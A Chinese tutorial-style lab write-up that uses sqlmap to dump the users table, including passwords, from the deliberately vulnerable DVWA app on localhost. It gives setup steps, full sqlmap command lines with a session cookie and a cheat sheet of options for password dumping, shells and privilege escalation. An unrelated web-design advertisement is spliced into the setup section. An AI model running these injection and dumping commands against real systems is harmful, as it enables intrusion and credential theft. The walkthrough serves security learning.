记一次初级dvwa爆库

一 前期准备

为冀州等地区用户提供了全套网页设计制作服务，及冀州网站建设行业解决方案。主营业务为成都网站设计、网站制作、冀州网站设计，以传统方式定制建设网站，并提供域名空间备案等一条龙服务，秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求，就会得到认可，从而选择与我们长期合作。这样，我们也可以走得更远！

1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可

https://www.python.org/

2 安装python2.7，默认即可。安装完成后需要配置下环境变量。右击计算机->高级系统设置->环境变量，找到系统变量的Path选项，双击，在最后添加;C:\Python27“；”必须要有，如果有其他python，可以删掉。这是我的安装路径。

3 按windows+R，输入cmd打开dos界面，输入python进行测试python是否安装成功。

返回python版本号，安装成功

4 下载sqlmap，可以到我的百度云下载:http://pan.baidu.com/s/1skPClzR密码：ndpj。

解压后，改名为sqlmap，放到磁盘中

5 打开cmd，切换到sqlmap对应磁盘

6 至此，sqlmap安装完毕

二 开始爆库

1 将dvwa安全级别设置为low，采用的是cookie注入。点击sql注入，使用burpsuite抓包拿cookie

2 url和cookie都需要使用，打开刚才开的cmd，键入

Sqlmap.py -u“http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie“security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1” --risk 3 --level 5 ,中途出现选择项直接回车

3  明显看到有MySQL数据库，先将数据库显示出来sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" --dbs

4 可以看到有几个数据库，然后选择dvwa数据库，列表名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa --tables

5 出现两个表名，肯定有用的是users表名，然后暴列名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users --columns

6 看到了很多列名，最有用的当然是用户和密码了，导出用户和密码

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users -C user,password,user_id --dump

7 好了至此完毕，接下来是sqlmap的命令解释大全

-u #注入点

-g 谷歌搜索

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p“page,id”)

-D “”#指定数据库名

-T “”#指定表名

-C “”#指定字段

-s “”#保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s“xx.log”　　恢复:-s“xx.log” –resume)

–columns #列出字段

–current-user #获取当前用户名称

–current-db #获取当前数据库名称

–users #列数据库所有用户

–passwords #数据库用户所有密码

–privileges #查看用户权限(–privileges -U root)

-U #指定数据库用户

–dbs #列出所有数据库

–tables -D“”#列出指定数据库中的表

–columns -T“user”-D“mysql”#列出mysql数据库中的user表的所有字段

–dump-all #列出所有数据库所有表

–exclude-sysdbs #只列出用户自己新建的数据库和表

–dump -T“”-D“”-C“”#列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)

–dump -T“”-D“” –start 2–top 4 #列出指定数据库的表的2-4字段的数据

–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

–os #指定系统(Linux,Windows)

--sql -shell 写shell

--delay 延迟的时间

--safe-freq 次数

-v #详细的等级(0-6)

0：只显示Python的回溯，错误和关键消息。

1：显示信息和警告消息。

2：显示调试消息。

3：有效载荷注入。

4：显示HTTP请求。

5：显示HTTP响应头。

6：显示HTTP响应页面的内容

–privileges #查看权限

–is-dba #是否是数据库管理员

–roles #枚举数据库用户角色

–udf-inject #导入用户自定义函数（获取系统权限）

–union-check #是否支持union注入

–union-cols #union查询表记录

–union-test #union语句测试

–union-use #采用union注入

–union-tech orderby #union配合order by